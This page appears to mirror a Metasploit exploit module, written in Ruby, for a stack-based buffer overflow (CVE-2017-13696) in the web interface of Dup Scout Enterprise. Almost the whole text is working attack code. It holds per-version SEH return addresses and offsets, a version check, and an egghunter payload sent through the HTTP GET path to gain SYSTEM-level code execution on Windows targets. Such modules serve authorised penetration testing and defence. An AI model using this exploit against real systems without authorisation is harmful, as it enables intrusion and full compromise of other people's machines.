Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/http/dupscts_bof.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Seh9include Msf::Exploit::Remote::Egghunter10include Msf::Exploit::Remote::HttpClient11prepend Msf::Exploit::Remote::AutoCheck1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Dup Scout Enterprise GET Buffer Overflow',18'Description' => %q{19This module exploits a stack-based buffer overflow vulnerability20in the web interface of Dup Scout Enterprise versions <= 10.0.18,21caused by improper bounds checking of the request path in HTTP GET22requests sent to the built-in web server which can be leveraged23to execute arbitrary code in the context of NT AUTHORITY\SYSTEM.2425This module supports x86 versions of Dup Scout Enterprise and x8626Windows operating systems only and has been tested successfully on27Windows 7 SP1 (x86) and Windows XP SP0 (x86).28},29'License' => MSF_LICENSE,30'Author' =>31[32'vportal', # Vulnerability discovery and PoC33'Daniel Teixeira', # Metasploit module34'bcoles', # Automatic targetting and additional targets35],36'References' =>37[38['CVE', '2017-13696'],39['CWE', '121'],40['EDB', '42557'],41['EDB', '49217']42],43'DefaultOptions' =>44{45'EXITFUNC' => 'thread'46},47'Platform' => 'win',48'Arch' => ARCH_X86,49'Payload' =>50{51'BadChars' => "\x00\x09\x0a\x0d\x20\x26",52'Space' => 50053},54'Targets' =>55[56[ 'Automatic', { 'auto' => true } ],57[58'Dup Scout Enterprise v8.3.16 (x86)',59{60'Version' => '8.3.16',61'Offset' => 552,62# 0x10045543 : pop ebx # pop ecx # ret 0x20 | ascii {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0-63'Ret' => 0x1004554364}65],66[67'Dup Scout Enterprise v8.4.16 (x86)',68{69'Version' => '8.4.16',70'Offset' => 552,71# 0x10045c33 : pop ebx # pop ecx # ret 0x20 | ascii {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0-72'Ret' => 0x10045c3373}74],75[76'Dup Scout Enterprise v9.0.28 (x86)',77{78'Version' => '9.0.28',79'Offset' => 552,80# 0x1004d983 : pop ebx # pop ecx # ret 0x20 | {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0-81'Ret' => 0x1004d98382}83],84[85'Dup Scout Enterprise v9.1.14 (x86)',86{87'Version' => '9.1.14',88'Offset' => 552,89# 0x10081b78 : pop ebx # pop ecx # ret 0x20 | ascii {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0-90'Ret' => 0x10081b7891}92],93[94'Dup Scout Enterprise v9.5.14 (x86)',95{96'Version' => '9.5.14',97'Offset' => 2488,98# POP # POP # RET [libspp.dll]99'Ret' => 0x10050ff3100}101],102[103'Dup Scout Enterprise v9.9.14 (x86)',104{105'Version' => '9.9.14',106'Offset' => 2496,107# 0x10056c1d : pop ebx # pop ecx # ret 0x20 | ascii {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0-108'Ret' => 0x10056c1d109}110],111[112'Dup Scout Enterprise v10.0.18 (x86)',113{114'Version' => '10.0.18',115'Offset' => 2496,116# 0x10056a16 : pop ebx # pop ecx # ret 0x20 | ascii {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0-117'Ret' => 0x10056a16118}119],120],121'Notes' =>122{123'Stability' => [ CRASH_SERVICE_DOWN ],124'SideEffects' => [ IOC_IN_LOGS ],125'Reliability' => [ REPEATABLE_SESSION ]126},127'Privileged' => true,128'DisclosureDate' => '2017-03-15',129'DefaultTarget' => 0130)131)132end133134def check135res = send_request_cgi({136'uri' => '/',137'method' => 'GET'138})139140unless res141return CheckCode::Unknown('Connection failed.')142end143144version = res.body.scan(/>Dup Scout Enterprise v([\d.]+)</).flatten.first145146unless version147return CheckCode::Safe('Target is not Dup Scout Enterprise.')148end149150unless target_for_version(version)151return CheckCode::Detected("No targets for Dup Scout Enterprise version #{version}.")152end153154CheckCode::Appears("Dup Scout Enterprise version #{version}.")155end156157def dup_version158res = send_request_cgi({159'uri' => '/',160'method' => 'GET'161})162163unless res164return fail_with(Failure::Unreachable, 'Could not determine Dup Scout Enterprise version. No reply.')165end166167res.body.scan(/>Dup Scout Enterprise v([\d.]+)</).flatten.first168end169170def target_for_version(version)171return unless version172173targets.select { |t| version == t['Version'] }.first174end175176def exploit177my_target = target178179if target.name == 'Automatic'180print_status('Selecting a target...')181my_target = target_for_version(dup_version)182unless my_target183fail_with(Failure::NoTarget, 'Unable to automatically detect a target')184end185end186187print_status("Using target: #{my_target.name}")188189eggoptions = {190checksum: true,191eggtag: rand_text_alpha(4, payload_badchars)192}193194hunter, egg = generate_egghunter(195payload.encoded,196payload_badchars,197eggoptions198)199200sploit = rand_text_alpha(my_target['Offset'], payload_badchars)201sploit << generate_seh_record(my_target.ret)202sploit << hunter203sploit << make_nops(10)204sploit << egg205sploit << rand_text_alpha(5500, payload_badchars)206207print_status("Sending payload (#{sploit.length} bytes) ...")208209send_request_cgi({210'method' => 'GET',211'uri' => sploit212})213end214end215216217